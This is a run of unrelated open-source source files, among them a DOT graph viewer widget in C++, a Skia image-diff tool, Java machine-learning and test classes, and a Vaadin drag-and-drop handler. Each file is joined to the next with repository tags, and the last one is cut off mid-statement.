mDevices.add(remoteSystem); } public void removeDevice(RemoteSystem remoteSystem) { for (RemoteSystem entry : mDevices) { if (remoteSystem == entry) { mDevices.remove(entry); } } } /** Set the view background when the view is selected. */ public void setSelectedView(View view) { if (null != mSelectedView) { mSelectedView.setBackgroundResource(R.drawable.deselected_list_item); } mSelectedView = view; mSelectedView.setBackgroundResource(R.drawable.selected_list_item); } public void clear() { mDevices.clear(); } }
1,811
488
<reponame>maurizioabba/rose /****************************************************************************** * * DOT3D - An OpenGL dot file viewer * <NAME>, 2003 * * graph info display widget * *****************************************************************************/ #include "graphinfo.h" #include <FL/Fl_Group.h> #include <FL/Fl_Scroll.h> #include <FL/Fl_Text_Editor.h> #include <FL/Fl_Text_Display.h> #include <FL/Fl_Menu_Bar.h> #include <sstream> #include <iostream> // DQ (12/6/2003): Added to support compilation with g++ 3.x using std::ostringstream; using std::endl; using std::istringstream; using std::cerr; // this includes the source code for syntax highlightin (also fucntion definitions) #include "style.h" //! predefined attributes from dot, that are usually hidden in the display char *dotPredefAttr[] = { "Damping", "URL", "arrowhead", "arrowsize", "arrowtail", "bb", "bgcolor", "bottomlabel", "center", "clusterrank", "color", "comment", "compound", "concentrate", "constraint", "decorate", "dim", "dir", "distortion", "epsilon", "fillcolor", "fixedsize", "fontcolor", "fontname", "fontpath", "fontsize", "group", "headURL", "headclip", "headlabel", "headport", "headtooltip", "height", "label", "labelangle", "labeldistance", "labelfloat", "labelfontcolor", "labelfontname", "labelfontsize", "labeljust", "labelloc", "layer", "layers", "len", "lhead", "lp", "ltail", "margin", "maxiter", "mclimit", "minlen", "model", "nodesep", "normalize", "nslimit", "nslimit1", "ordering", "orientation", "orientation", "outputorder", "overlap", "pack", "packmode", "page", "pagedir", "pencolor", "peripheries", "pin", "pos", "quantum", "rank", "rankdir", "ranksep", "ratio", "rects", "regular", "remincross", "resolution", "root", "rotate", "samehead", "sametail", "samplepoints", "searchsize", "sep", "shape", "shapefile", "showboxes", "sides", "size", "skew", "splines", "start", "style", "stylesheet", "tailURL", "tailclip", "taillabel", "tailport", "tailtooltip", "tooltip", "toplabel", "truecolor", "vertices", "voro_margin", "weight", "width", "z" }; //----------------------------------------------------------------------------- //! constructor GraphInfo::GraphInfo(int x,int y,int w,int h) : Fl_Tabs( x,y, w,h, "NodeInfo" ), mpInfBox( NULL ), mInfo( "---" ), mHideStdAttr( true ) { int tabHeight = 26; // the group for the node info display Fl_Group *ninfo = new Fl_Scroll( x, y+tabHeight, w,h-tabHeight, "Info"); mpInfBox = new Fl_Box( ninfo->x(),ninfo->y(),ninfo->w(),ninfo->h(), "No node selected..." ); mpInfBox->align( FL_ALIGN_TOP | FL_ALIGN_LEFT | FL_ALIGN_INSIDE ); //mpInfBox->align( FL_ALIGN_TOP ); mpInfBox->box(FL_NO_BOX); //mpInfBox->labelsize(26); //mpInfBox->resizable(); ninfo->end(); add( ninfo ); //resizable(ninfo); // make a new group for the editor Fl_Group *editgrp = new Fl_Group( x, y+tabHeight, w,h-tabHeight, "Source"); // create empty dummy buffer Fl_Text_Buffer *buffer = new Fl_Text_Buffer(); /*FILE *textfile = fopen("./main.cpp", "r"); if(! textfile) { exit(1); } size_t filesize = 9766; char *textbuf = (char *)malloc( sizeof(char) * filesize ); cout << " asfhashf " << fread( textbuf, sizeof(char), filesize, textfile) << endl; fclose(textfile); free( textbuf ); buffer->loadfile( textbuf, (int)filesize ); */ //buffer->loadfile( "./main.cpp" ); // DEBUG test file style_init( buffer ); mBuffers.push_back(buffer); mBufferFiles.push_back( "<dummy_buffer>" ); mLastBuffer = 0; EDIT_TYPE *editor = new EDIT_TYPE( editgrp->x(),editgrp->y(),editgrp->w(),editgrp->h(), "" ); editor->buffer( buffer ); // init syntax highlighting editor->highlight_data(glob_stylebuf, styletable, sizeof(styletable) / sizeof(styletable[0]), 'A', style_unfinished_cb, 0); buffer->add_modify_callback( style_update, editor); editor->show(); mpEditor = editor; /*Fl_Box *box = new Fl_Box( editgrp->x(),editgrp->y(),editgrp->w(),editgrp->h(), "INFO" ); box->box(FL_UP_BOX); box->labelsize(36);*/ editgrp->end(); add( editgrp ); // tabs are finished... end(); value( ninfo ); //value( editor ); show(); } //----------------------------------------------------------------------------- //! destructor GraphInfo::~GraphInfo() { } //----------------------------------------------------------------------------- //! show info about this node void GraphInfo::showInfo(Agnode_t *node) { // search file source to display in editor string filesource; bool filefound = false; char *filePrefix = "file://"; if(!mpInfBox) return; Agsym_t **list = node->graph->univ->nodeattr->list; ostringstream infostr; char *nodename = agget( node, "label" ); if(!nodename) nodename = "[undefined]"; infostr << endl << "Node Information for: '"<<nodename<<"' " << endl << endl; for(int i=0; list[i] != NULL; i++) { char *value = agget( node, list[i]->name ); // do filtering bool dispthis = true; if(!strcmp(list[i]->name, "label")) dispthis = false; if(mHideStdAttr) { for(int j=0;j<(int)(sizeof(dotPredefAttr)/sizeof(char *)); j++) { if(!strcmp(list[i]->name, dotPredefAttr[j])) dispthis = false; } } if((list[i])&&(value)&&(dispthis)) { infostr << list[i]->name<<"="<< value <<endl; if((strlen(value)> strlen(filePrefix)) && (!filefound)) { filefound = true; for(size_t i=0;i<strlen(filePrefix);i++) { if(value[i]!=filePrefix[i]) { filefound = false; break; } } if(filefound) { char *name = value+strlen(filePrefix); filesource = name; } } } } // load file in editor? if(filefound) { bool ok = true; //cerr << " FOUND " << filesource << endl; string::size_type pos = 0, lastpos = 0; string filename, fileline, filecolumn, fileendline, fileendcolumn; int line = -1, column = -1, endline=-1, endcolumn=-1; pos = filesource.find( ':', lastpos); if(pos != string::npos) { filename = filesource.substr(lastpos, pos-lastpos ); lastpos = pos; } else { // no lines? filename = filesource; ok = false; } int valueCount = 0; while(valueCount<4) { if(ok) { lastpos++; pos = filesource.find( ':', lastpos); string tline(""); if(pos != string::npos) { tline = filesource.substr(lastpos, pos-lastpos ); lastpos = pos; } else { tline = filesource.substr(lastpos, filesource.length() ); ok = false; } istringstream ist(tline); int value = -1; ist >> std::dec >> value; if( ist.rdstate() != istringstream::goodbit ) value = -2; switch(valueCount) { case 0: line = value; break; case 1: column = value; break; case 2: endline = value; break; case 3: endcolumn = value; break; } } valueCount++; } //cerr << " FLINE " << line<<":"<< column << " to "<< endline<<":"<< endcolumn<< endl; // debug /*if(ok) { lastpos++; pos = filesource.find( ':', lastpos); if(pos != string::npos) { filecolumn = filesource.substr(lastpos, pos-lastpos ); lastpos = pos; } else { filecolumn = filesource.substr(lastpos, filesource.length() ); ok = false; } //line = atoi( fileline.c_str() ); istringstream ist(filecolumn); ist >> std::dec >> column; if( ist.rdstate() != istringstream::goodbit ) column = -2; cerr << " FCOLM " << filecolumn<<" : "<< column<<" : "<< column << endl; // debug } if(ok) { lastpos++; pos = filesource.find( ':', lastpos); if(pos != string::npos) { filecolumn = filesource.substr(lastpos, pos-lastpos ); lastpos = pos; } else { filecolumn = filesource.substr(lastpos, filesource.length() ); ok = false; } //line = atoi( fileline.c_str() ); istringstream ist(filecolumn); ist >> std::dec >> column; if( ist.rdstate() != istringstream::goodbit ) column = -2; cerr << " FCOLM " << filecolumn<<" : "<< column<<" : "<< column << endl; // debug } cerr << " FOUND " << filename<<" : "<< line<<" : "<< column << endl; // debug */ // check if file is already loaded Fl_Text_Buffer *buffer = NULL; if(mBuffers.size() != mBufferFiles.size()) { cerr << "DOT3D FATAL: mBuffers and mBufferFiles are different size: "<< mBuffers.size()<<"-"<<mBufferFiles.size() << endl; return; } for(size_t i=0; i<mBuffers.size(); i++ ) { if(mBufferFiles[i] == filename) { buffer = mBuffers[i]; break; } } if(!buffer) { // create new buffer and load if(mBuffers.size() < 1) { buffer = new Fl_Text_Buffer(); mBuffers.push_back(buffer); mBufferFiles.push_back( filename ); } else { // currently always use buffer 0 mLastBuffer = 0; buffer = mBuffers[mLastBuffer]; mBufferFiles[mLastBuffer] = filename; } buffer->loadfile( filename.c_str() ); } if((buffer)&&(mpEditor->buffer() != buffer)) { // only use 1 buffer } if(line>0) { int pos = buffer->skip_lines(0, line-1); if(column>0) pos += (column-1); int endpos = pos; if(endline>0) { endpos = buffer->skip_lines(pos, (endline-line)); if(endcolumn>0) endpos += (endcolumn-1); } else { // highlight whole line endpos = buffer->skip_lines(pos, 1); } if(pos>=0) { buffer->highlight( pos, endpos ); mpEditor->insert_position( pos ); mpEditor->show_insert_position(); } //cerr << " LINES "<< pos<<"-"<<endpos <<" of "<< buffer->length() << " l"<< line << endl; } } // filefound mInfo = infostr.str(); mpInfBox->label( mInfo.c_str() ); //mpEditor->redraw(); redraw(); }
8,411
369
// // StoryMakeFilterFooterView.h // GetZSCStoryMaker // // Created by whbalzac on 11/08/2017. // Copyright © 2017 make<EMAIL>. All rights reserved. // #import <UIKit/UIKit.h> @protocol StoryMakeFilterFooterViewDelegate <NSObject> @optional - (void)storyMakeFilterFooterViewCloseBtnClicked; - (void)storyMakeFilterFooterViewConfirmBtnClicked:(UIImage *)drawImage; @end @interface StoryMakeFilterFooterView : UIView @property (nonatomic, weak) id <StoryMakeFilterFooterViewDelegate> delegate; - (void)updateFilterViewWithImage:(UIImage *)image; @end
192
634
<reponame>elishacloud/dxwrapper #pragma once #define VISIT_PROCS_SHAREDPROCS(visit) \ visit(DllCanUnloadNow, jmpaddr) \ visit(DllGetClassObject, jmpaddr) \ visit(DllRegisterServer, jmpaddr) \ visit(DllUnregisterServer, jmpaddr) #ifdef PROC_CLASS namespace ShardProcs { using namespace Wrapper; VISIT_PROCS_SHAREDPROCS(CREATE_PROC_STUB); void Load(HMODULE dll) { if (dll) { VISIT_PROCS_SHAREDPROCS(LOAD_ORIGINAL_PROC); } } void AddToArray() { wrapper_map tmpMap; VISIT_PROCS_SHAREDPROCS(STORE_ORIGINAL_PROC); } } #endif
265
319
<filename>demos/sandbox/src/main/java/org/openimaj/workinprogress/featlearn/cifarexps/CIFARExperimentFramework.java /** * Copyright (c) 2011, The University of Southampton and the individual contributors. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of the University of Southampton nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package org.openimaj.workinprogress.featlearn.cifarexps; import java.io.IOException; import org.openimaj.data.dataset.GroupedDataset; import org.openimaj.data.dataset.ListDataset; import org.openimaj.experiment.evaluation.classification.ClassificationResult; import org.openimaj.feature.DoubleFV; import org.openimaj.feature.FeatureExtractor; import org.openimaj.image.MBFImage; import org.openimaj.image.annotation.evaluation.datasets.CIFAR10Dataset; import org.openimaj.math.statistics.normalisation.ZScore; import org.openimaj.ml.annotation.AnnotatedObject; import org.openimaj.ml.annotation.linear.LiblinearAnnotator; import org.openimaj.util.function.Operation; import org.openimaj.util.parallel.Parallel; import org.openimaj.workinprogress.featlearn.RandomPatchSampler; import de.bwaldvogel.liblinear.SolverType; public abstract class CIFARExperimentFramework { protected final int patchSize = 6; protected final int numPatches = 400000; protected final int C = 1; protected abstract void learnFeatures(double[][] patches); protected abstract double[] extractFeatures(MBFImage image); public double run() throws IOException { // load training data final GroupedDataset<String, ListDataset<MBFImage>, MBFImage> trainingdata = CIFAR10Dataset .getTrainingImages(CIFAR10Dataset.MBFIMAGE_READER); // create random patches final RandomPatchSampler<MBFImage> sampler = new RandomPatchSampler<MBFImage>(trainingdata, patchSize, patchSize, numPatches); final double[][] patches = new double[numPatches][]; int i = 0; for (final MBFImage p : sampler) { patches[i++] = p.getDoublePixelVector(); if (i % 10000 == 0) System.out.format("Extracting patch %d / %d\n", i, numPatches); } // Perform feature learning learnFeatures(patches); // extract features final MBFImage[] trimages = new MBFImage[trainingdata.numInstances()]; final String[] trclasses = new String[trainingdata.numInstances()]; final double[][] trfeatures = new double[trainingdata.numInstances()][]; i = 0; for (final String clz : trainingdata.getGroups()) { for (final MBFImage p : trainingdata.get(clz)) { // trfeatures[i] = extractFeatures(p); trimages[i] = p; trclasses[i] = clz; i++; } } // for (i = 0; i < trimages.length; i++) { // if (i % 100 == 0) // System.out.format("Extracting features %d / %d\n", i, // trainingdata.numInstances()); // trfeatures[i] = extractFeatures(trimages[i]); // } Parallel.forRange(0, trimages.length, 1, new Operation<Parallel.IntRange>() { volatile int count = 0; @Override public void perform(Parallel.IntRange range) { for (int ii = range.start; ii < range.stop; ii++) { if (count % 100 == 0) System.out.format("Extracting features %d / %d\n", count, trainingdata.numInstances()); trfeatures[ii] = extractFeatures(trimages[ii]); count++; } } }); // feature normalisation final ZScore z = new ZScore(0.01); z.train(trfeatures); final double[][] trfeaturesz = z.normalise(trfeatures); // train linear SVM final LiblinearAnnotator<double[], String> ann = new LiblinearAnnotator<double[], String>(new FeatureExtractor<DoubleFV, double[]>() { @Override public DoubleFV extractFeature(double[] object) { return new DoubleFV(object); } }, LiblinearAnnotator.Mode.MULTICLASS, SolverType.L2R_L2LOSS_SVC_DUAL, C, 0.1, 1 /* bias */, true); ann.train(AnnotatedObject.createList(trfeaturesz, trclasses)); // load test data final GroupedDataset<String, ListDataset<MBFImage>, MBFImage> testdata = CIFAR10Dataset .getTestImages(CIFAR10Dataset.MBFIMAGE_READER); // extract test features final String[] teclasses = new String[testdata.numInstances()]; double[][] tefeatures = new double[testdata.numInstances()][]; i = 0; for (final String clz : testdata.getGroups()) { for (final MBFImage p : testdata.get(clz)) { tefeatures[i] = extractFeatures(p); teclasses[i] = clz; i++; } } // feature normalisation (using mean and stddev learned from training // data) tefeatures = z.normalise(tefeatures); // perform classification and calculate accuracy double correct = 0, incorrect = 0; for (i = 0; i < tefeatures.length; i++) { final ClassificationResult<String> res = ann.classify(tefeatures[i]); if (res.getPredictedClasses().iterator().next().equals(teclasses[i])) correct++; else incorrect++; } final double acc = correct / (correct + incorrect); System.out.println("Test accuracy " + acc); return acc; } }
2,180
2,139
package org.jruby.test; import junit.framework.TestCase; import org.jcodings.specific.SJISEncoding; import org.jcodings.specific.UTF8Encoding; import org.jruby.Ruby; import org.jruby.RubyString; import org.jruby.util.io.EncodingUtils; public class TestEncodingAPI extends TestCase { private Ruby runtime; public TestEncodingAPI(String name) { super(name); } public void setUp() { runtime = Ruby.newInstance(); } public void testStrConvEncThatGrows() throws Exception { String javaStr = "--- こんにちは!"; RubyString rubyStr = RubyString.newString(runtime, javaStr); rubyStr = EncodingUtils.strConvEnc(runtime.getCurrentContext(), rubyStr, rubyStr.getEncoding(), SJISEncoding.INSTANCE); assertEquals(rubyStr.getEncoding(), SJISEncoding.INSTANCE); rubyStr = EncodingUtils.strConvEnc(runtime.getCurrentContext(), rubyStr, SJISEncoding.INSTANCE, UTF8Encoding.INSTANCE); assertEquals(rubyStr.getEncoding(), UTF8Encoding.INSTANCE); } }
387
6,304
// Copyright 2019 Google LLC. // Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. // Image Diff: Provides a metric for measuring the difference between two encoded images. Prints // out a single floating-point number between 0.0 and 1.0; 0 means that the images are identical; 1 // means that each pixel is maximally different in each channel. A non-zero return value indicates // that something went wrong. #include "include/codec/SkCodec.h" #include "include/core/SkBitmap.h" #include "include/core/SkData.h" #include "include/core/SkPixmap.h" #include "include/core/SkSize.h" #include <cmath> #include <cstdio> int main(int argc, char** argv) { if (argc != 3) { const char usage[] = "\nUsage:\n %s {FILE1}.png {FILE2}.png\n\n"; fprintf(stderr, usage, argv[0]); return 1; } SkBitmap bm[2]; for (int i = 0; i < 2; ++i) { const char* path = argv[i + 1]; if (std::unique_ptr<SkCodec> codec = SkCodec::MakeFromData(SkData::MakeFromFileName(path))) { bm[i].allocN32Pixels(codec->dimensions().fWidth, codec->dimensions().fHeight); if (SkCodec::kSuccess == codec->getPixels(bm[i].pixmap())) { continue; } } fprintf(stderr, "\nBad file: '%s'.\n\n", path); return 2; } SkISize dim = bm[0].dimensions(); if (dim != bm[1].dimensions()) { fprintf(stderr, "\nImages must be same size: (%d,%d) != (%d,%d)\n\n", dim.fWidth, dim.fHeight, bm[1].dimensions().fWidth, bm[1].dimensions().fHeight); return 3; } int64_t totalDiffs = 0; // Manhattan distance in ARGB color-space. for (int y = 0; y < dim.fHeight; ++y) { const uint8_t* row1 = reinterpret_cast<const uint8_t*>(bm[0].pixmap().addr32(0, y)); const uint8_t* row2 = reinterpret_cast<const uint8_t*>(bm[1].pixmap().addr32(0, y)); for (size_t i = 0; i < (size_t)dim.fWidth * (size_t)4; ++i) { totalDiffs += std::abs((int)row1[i] - (int)row2[i]); } } printf("%g\n", (double)totalDiffs / ((uint64_t)255 * 4 * (uint64_t)dim.fWidth * (uint64_t)dim.fHeight)); return 0; }
1,013
728
<reponame>santoshkumarkannur/sirix<filename>bundles/sirix-core/src/test/java/org/sirix/service/xml/shredder/WikipediaImportTest.java<gh_stars>100-1000 /** * Copyright (c) 2011, University of Konstanz, Distributed Systems Group All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted * provided that the following conditions are met: * Redistributions of source code must retain the * above copyright notice, this list of conditions and the following disclaimer. * Redistributions * in binary form must reproduce the above copyright notice, this list of conditions and the * following disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of the University of Konstanz nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package org.sirix.service.xml.shredder; import static org.junit.Assert.assertEquals; import java.nio.file.Path; import java.nio.file.Paths; import java.util.LinkedList; import java.util.List; import javax.xml.XMLConstants; import javax.xml.namespace.QName; import javax.xml.stream.XMLEventFactory; import javax.xml.stream.events.StartElement; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.sirix.XmlTestHelper; import org.sirix.XmlTestHelper.PATHS; import org.sirix.access.DatabaseConfiguration; import org.sirix.access.Databases; import org.sirix.exception.SirixException; import org.sirix.service.xml.serialize.XmlSerializer; import org.sirix.service.xml.shredder.WikipediaImport.DateBy; /** * Test WikipediaImport. * * @author <NAME>, University of Konstanz * */ public class WikipediaImportTest { /** Wikipedia file. */ public static final Path WIKIPEDIA = Paths.get("src", "test", "resources", "testWikipedia.xml"); /** Wikipedia expected file. */ public static final Path EXPECTED = Paths.get("src", "test", "resources", "testWikipediaExpected.xml"); @Before public void setUp() throws SirixException { XmlTestHelper.deleteEverything(); } @After public void tearDown() throws SirixException { XmlTestHelper.closeEverything(); } @Test public void testWikipediaImport() throws Exception { Databases.removeDatabase(PATHS.PATH2.getFile()); // Create necessary element nodes. final String NSP_URI = ""; final XMLEventFactory eventFactory = XMLEventFactory.newInstance(); final StartElement timestamp = eventFactory.createStartElement( new QName(NSP_URI, "timestamp", XMLConstants.DEFAULT_NS_PREFIX), null, null); final StartElement page = eventFactory.createStartElement( new QName(NSP_URI, "page", XMLConstants.DEFAULT_NS_PREFIX), null, null); final StartElement rev = eventFactory.createStartElement( new QName(NSP_URI, "revision", XMLConstants.DEFAULT_NS_PREFIX), null, null); final StartElement id = eventFactory.createStartElement( new QName(NSP_URI, "id", XMLConstants.DEFAULT_NS_PREFIX), null, null); final StartElement text = eventFactory.createStartElement( new QName(NSP_URI, "text", XMLConstants.DEFAULT_NS_PREFIX), null, null); // Create list. final List<StartElement> list = new LinkedList<StartElement>(); list.add(timestamp); list.add(page); list.add(rev); list.add(id); list.add(text); // Invoke import. new WikipediaImport(WIKIPEDIA, PATHS.PATH2.getFile()).importData(DateBy.HOURS, list); XmlSerializer.main( PATHS.PATH2.getFile().toAbsolutePath().toString(), PATHS.PATH3.getFile().toAbsolutePath().toString()); final StringBuilder actual = XmlTestHelper.readFile(PATHS.PATH3.getFile().toAbsolutePath(), false); final StringBuilder expected = XmlTestHelper.readFile(EXPECTED, false); assertEquals("XML files match", expected.toString(), actual.toString()); } }
1,538
674
<filename>env/lib/python2.7/site-packages/wheel/paths.py """ Installation paths. Map the .data/ subdirectory names to install paths. """ import os.path import sys import distutils.dist as dist import distutils.command.install as install def get_install_command(name): # late binding due to potential monkeypatching d = dist.Distribution({'name':name}) i = install.install(d) i.finalize_options() return i def get_install_paths(name): """ Return the (distutils) install paths for the named dist. A dict with ('purelib', 'platlib', 'headers', 'scripts', 'data') keys. """ paths = {} i = get_install_command(name) for key in install.SCHEME_KEYS: paths[key] = getattr(i, 'install_' + key) # pip uses a similar path as an alternative to the system's (read-only) # include directory: if hasattr(sys, 'real_prefix'): # virtualenv paths['headers'] = os.path.join(sys.prefix, 'include', 'site', 'python' + sys.version[:3], name) return paths
533
2,151
<filename>opt/bitmap/src/com/android/bitmap/BitmapCache.java /* * Copyright (C) 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.bitmap; public interface BitmapCache extends PooledCache<RequestKey, ReusableBitmap> { /** * Notify the cache when it should start and stop blocking for cache misses. * If {@link #setBlocking(true)} has been called and if the pool is empty, {@link #poll()} * should block until the pool is repopulated, or until {@link #setBlocking(false)} is called. */ void setBlocking(boolean blocking); }
326
4,538
<filename>components/linkkit/dev_model/dm_message_cache.h<gh_stars>1000+ /* * Copyright (C) 2015-2018 Alibaba Group Holding Limited */ #if !defined(DM_MESSAGE_CACHE_DISABLED) #ifndef _DM_MESSAGE_CACHE_H_ #define _DM_MESSAGE_CACHE_H_ #include "iotx_dm_internal.h" #define DM_MSG_CACHE_TIMEOUT_MS_DEFAULT (10000) typedef struct { int msgid; int devid; iotx_dm_event_types_t response_type; char *data; uint64_t ctime; struct list_head linked_list; } dm_msg_cache_node_t; typedef struct { void *mutex; int dmc_list_size; struct list_head dmc_list; } dm_msg_cache_ctx_t; int dm_msg_cache_init(void); int dm_msg_cache_deinit(void); int dm_msg_cache_insert(int msg_id, int devid, iotx_dm_event_types_t type, char *data); int dm_msg_cache_search(_IN_ int msg_id, _OU_ dm_msg_cache_node_t **node); int dm_msg_cache_remove(int msg_id); void dm_msg_cache_tick(void); #endif #endif
439
1,337
/* * Copyright 2015 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.haulmont.cuba.web.widgets.client.addons.dragdroplayouts.ui; import com.google.gwt.dom.client.Element; import com.google.gwt.dom.client.EventTarget; import com.google.gwt.dom.client.NativeEvent; import com.google.gwt.dom.client.Style; import com.google.gwt.dom.client.Style.Position; import com.google.gwt.event.dom.client.MouseDownEvent; import com.google.gwt.event.dom.client.MouseDownHandler; import com.google.gwt.event.dom.client.TouchStartEvent; import com.google.gwt.event.dom.client.TouchStartHandler; import com.google.gwt.event.shared.HandlerRegistration; import com.google.gwt.user.client.Event; import com.google.gwt.user.client.Event.NativePreviewEvent; import com.google.gwt.user.client.Event.NativePreviewHandler; import com.google.gwt.user.client.ui.ComplexPanel; import com.google.gwt.user.client.ui.LabelBase; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.Widget; import com.vaadin.client.*; import com.vaadin.client.ui.*; import com.vaadin.client.ui.VAccordion.StackItem; import com.vaadin.client.ui.VTabsheet.Tab; import com.vaadin.client.ui.VTabsheet.TabCaption; import com.vaadin.client.ui.dd.VDragAndDropManager; import com.vaadin.client.ui.dd.VDragEvent; import com.vaadin.client.ui.dd.VTransferable; import com.haulmont.cuba.web.widgets.client.addons.dragdroplayouts.VGrabFilter; import com.haulmont.cuba.web.widgets.client.addons.dragdroplayouts.ui.accordion.VDDAccordion; import com.haulmont.cuba.web.widgets.client.addons.dragdroplayouts.ui.formlayout.VDDFormLayout; import com.haulmont.cuba.web.widgets.client.addons.dragdroplayouts.ui.interfaces.*; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; /** * Mouse handler for starting component drag operations * * @author <NAME> / www.jasoft.fi * @since 0.4.0 */ public class VLayoutDragDropMouseHandler implements MouseDownHandler, TouchStartHandler, VHasDragImageReferenceSupport { public static final String ACTIVE_DRAG_SOURCE_STYLENAME = "v-dd-active-drag-source"; public static final String ACTIVE_DRAG_CUSTOM_IMAGE_STYLENAME = "v-dd-active-drag-custom-image"; private LayoutDragMode dragMode = LayoutDragMode.NONE; private final Widget root; private Widget currentDraggedWidget; private HandlerRegistration mouseUpHandlerReg; private HandlerRegistration mouseDownHandlerReg; private final List<HandlerRegistration> handlers = new LinkedList<HandlerRegistration>(); private final List<DragStartListener> dragStartListeners = new ArrayList<DragStartListener>(); private Widget attachTarget; private VDragImageProvider dragImageProvider; private boolean startDragOnMove = true; /** * A listener to listen for drag start events */ public interface DragStartListener { /** * Called when a drag is about to begin * * @param widget * The widget which is about to be dragged * @param mode * The draggin mode * @return Should the dragging be commenced. */ boolean dragStart(Widget widget, LayoutDragMode mode); } /** * Constructor * * @param root * The root element * @param dragMode * The drag mode of the layout */ public VLayoutDragDropMouseHandler(Widget root, LayoutDragMode dragMode) { this.dragMode = dragMode; this.root = root; } /** * Is the mouse down event a valid mouse drag event, i.e. left mouse button * is pressed without any modifier keys * * @param event * The mouse event * @return Is the mouse event a valid drag event */ private boolean isMouseDragEvent(NativeEvent event) { boolean hasModifierKey = event.getAltKey() || event.getCtrlKey() || event.getMetaKey() || event.getShiftKey(); return !(hasModifierKey || event.getButton() > NativeEvent.BUTTON_LEFT); } @Override public void onTouchStart(TouchStartEvent event) { NativeEvent nativeEvent = event.getNativeEvent(); if (isElementNode(nativeEvent) && isChildOfRoot(nativeEvent)) { if (startDragOnMove) { initiateDragOnMove(event.getNativeEvent()); } else { initiateDrag(event.getNativeEvent()); } } } @Override public void onMouseDown(MouseDownEvent event) { NativeEvent nativeEvent = event.getNativeEvent(); if (isElementNode(nativeEvent) && isChildOfRoot(nativeEvent)) { if (startDragOnMove) { initiateDragOnMove(event.getNativeEvent()); } else { initiateDrag(event.getNativeEvent()); } } } private boolean isChildOfRoot(NativeEvent event) { EventTarget eventTarget = event.getEventTarget(); Element targetElement = Element.as(eventTarget); if (root.getElement() != targetElement && root.getElement().isOrHasChild(targetElement)) { return true; } return false; } private boolean isElementNode(NativeEvent event) { EventTarget eventTarget = event.getEventTarget(); if (Element.is(eventTarget)) { return true; } return false; } /** * Initiates the drag only on the first move event * * @param originalEvent * the original Mouse Down event. Only events on elements are * passed in here (Element.as() is safe without check here) */ protected void initiateDragOnMove(final NativeEvent originalEvent) { EventTarget eventTarget = originalEvent.getEventTarget(); boolean stopEventPropagation = false; Element targetElement = Element.as(eventTarget); Widget target = WidgetUtil.findWidget(targetElement, null); Widget targetParent = target.getParent(); // Stop event propagation and prevent default behaviour if // - target is *not* a VTabsheet.TabCaption or // - drag mode is caption mode and widget is caption boolean isTabCaption = WidgetUtil.findWidget(target.getElement(), TabCaption.class) != null; boolean isCaption = VDragDropUtil.isCaptionOrCaptionless(targetParent); if (dragMode == LayoutDragMode.CLONE && isTabCaption == false) { stopEventPropagation = true; // overwrite stopEventPropagation flag again if // - root implements VHasDragFilter but // - target is not part of its drag filter and // - target is not a GWT Label based widget if (root instanceof VHasDragFilter) { if (((VHasDragFilter) root).getDragFilter() .isDraggable(target) == false && (target instanceof LabelBase) == false) { stopEventPropagation = false; } } if (root instanceof VHasGrabFilter) { VGrabFilter grabFilter 